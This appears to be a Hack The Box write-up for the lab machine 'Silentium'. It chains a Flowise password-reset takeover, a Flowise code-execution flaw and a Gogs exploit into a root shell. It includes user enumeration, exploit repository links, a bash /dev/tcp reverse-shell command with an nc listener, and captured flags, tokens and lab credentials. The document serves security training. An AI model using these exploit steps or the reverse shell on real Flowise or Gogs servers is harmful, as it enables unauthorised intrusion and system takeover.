Silentium HTB
SILENTIUM Target Overview Silentium is a Linux-based Hack The Box machine that begins with the discovery of a hidden virtual host hosting a vulnerable Flowise AI instance. Through user enumeration and exploitation of CVE-2025-58434, it was possible to reset the password of a valid user account and gain authenticated access to the application. Further research revealed an additional remote code execution vulnerability (CVE-2025-59528) in Flowise, which was leveraged to obtain a shell inside a Docker container. Enumeration of the container environment exposed reused credentials that allowed SSH access to the target system as the user ben. During privilege escalation, internal services were identified listening on localhost ports. SSH Local Port Forwarding was used to access an internal Gogs instance running on port 3001. Finally, exploitation of CVE-2025-8110 in Gogs resulted in remote code execution as the root user, leading to full system compromise. Enumeration Nmap Analysis The scan exposed a few interesting attack surfaces: Port 22 – SSH (OpenSSH 9.6p1) SSH is running on port 22 with a relatively recent version of OpenSSH. This is typically not directly exploitable, but it becomes highly valuable if credentials are obtained during enumeration or through other attack vectors. Port 80 – HTTP (Nginx 1.24.0) Nginx is running on port 80 and redirects to http://silentium.htb/ , confirming a virtual host setup. Setting Up Host Mapping Before starting enumeration, I added the target hostname to my /etc/hosts file: This allows my system to resolve silentium.htb to the target IP. Many Hack The Box machines use virtual hosts, so accessing the application with the correct hostname is important for it to work properly. Visiting the site silentium.htb on browser image The page appears to be static with no obvious functionality, which usually means there’s hidden content or additional attack surface not directly visible. Because of that, the next logical step is to enumerate for: Subdomains (vhosts) Hidden directories/files Subdomain Enumeration A new virtual host, staging.silentium.htb, was discovered and added to the /etc/hosts file. On Visiting the page we landed to login page, Upon careful observation, this was identified as a Flowise AI instance. This is an interesting finding, as Flowise is typically used to build and manage LLM-based workflows, and such instances may sometimes expose sensitive functionality if misconfigured. Images: image image >Vulnerability Details : CVE-2025-58434 Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and earlier, the forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). This vulnerability applies to both the cloud service (cloud.flowiseai.com) and self-hosted/local Flowise deployments that expose the same API. Commit 9e178d68873eb876073846433a596590d3d9c863 in version 3.0.6 secures password reset endpoints. Source : https://www.cvedetails.com/cve/CVE-2025-58434/ To successfully exploit the vulnerability, a valid username was required. During enumeration of silentium.htb, a Team section was identified containing employee details: Marcus Thorne – Managing Director Ben – Head of Financial Systems Elena Rossi – Chief Risk Officer Notably, Ben was listed with only a first name, making it a likely candidate for username generation and further enumeration. User Enumeration via Authentication Endpoint The login functionality was tested to determine whether user enumeration was possible. It was observed that the application returned different responses based on user validity. Non-existent user Valid user By leveraging the discrepancy in response messages: 404 → User does not exist} 401 → User exists but credentials are invalid we were able to confirm that: ben@silentium.htbis a valid user account on the system. Lets Exploit the CVE-2025-58434 Quick google search gave us a exploit : https://github.com/advisories/GHSA-wgpv-6j63-x5ph Step 1: Request a reset token for the victim Response : Step 2 Use the exposed tempToken to reset the password Response : Now we try to login the webpage and get the token for the session creds : ben@silentium.htb : Ben@Hacker image It's Time to check for any RCE available for this Flowise AI We found one https://github.com/AzureADTrent/CVE-2025-58434-59528 Description Cause of the Vulnerability : The vulnerability abuses unsafe JavaScript execution within the CustomMCP node. User-controlled input is passed directly to the JavaScript Function() constructor, resulting in arbitrary command execution on the server. Vulnerability Flow User Input Received: Input is provided via the API endpoint /api/v1/node-load-method/customMCP through the mcpServerConfig parameter. Variable Substitution: The substituteVariablesInString function replaces template variables like $vars.xxx, but no security filtering is applied during this step. Dangerous Code Execution: The convertToValidJSONString function executes the input using Function('return ' + inputString)(). If the inputString contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access. Flowise Exploitation bash ssh ben@silentium.htb ben@silentium.htb's password: ben@silentium:$ id uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users) bash ben@silentium:$ cat user.txt d5cb32c6d2dbfb5b43b85d21f3cbd721 bash ss -lntp State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 127.0.0.54:53 0.0.0.0: LISTEN 0 4096 127.0.0.1:8025 0.0.0.0: LISTEN 0 4096 127.0.0.1:1025 0.0.0.0: LISTEN 0 4096 127.0.0.1:3000 0.0.0.0: LISTEN 0 4096 127.0.0.1:3001 0.0.0.0: LISTEN 0 4096 127.0.0.1:37455 0.0.0.0: LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0: LISTEN 0 4096 0.0.0.0:22 0.0.0.0: LISTEN 0 511 0.0.0.0:80 0.0.0.0: LISTEN 0 4096 [::]:22 [::]: LISTEN 0 511 [::]:80 [::]: bash ssh -L 8080:127.0.0.1:3001 ben@silentium.htb txt http://127.0.0.1:8080 txt Username : hacker Password : Password123 txt Settings -> Applications txt token: fd7905056cd1a492b12fddc7426798f13f939f19 txt https://github.com/zAbuQasem/gogs-CVE-2025-8110 bash git clone https://github.com/zAbuQasem/gogs-CVE-2025-8110.git cd gogs-CVE-2025-8110 python username = "hacker" # Add your username password = "Password123" # Add your password command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #" try: # register(session, args.url, username, password) # Comment out this line bash nc -nvlp 1234 bash python CVE-2025-8110.py -u http://127.0.0.1:8080 -lh 10.10.15.149 -lp 1234 [+] Authenticated successfully Token generation status: 200 [+] Application token: 04e2ba5a50c6a9a7de4c4c8dfff92c9ee997446c Repo creation status: 201 [+] Exploit sent, check your listener! bash nc -nvlp 1234 listening on [any] 1234 ... connect to [10.10.15.149] from (UNKNOWN) [10.129.245.103] 35890 bash: cannot set terminal process group (1523): Inappropriate ioctl for device bash: no job control in this shell root@silentium:/opt/gogs/gogs/data/tmp/local-repo/5# bash root@silentium:# cat root.txt 4c081022a1151022a5f3cae8fe2f68b6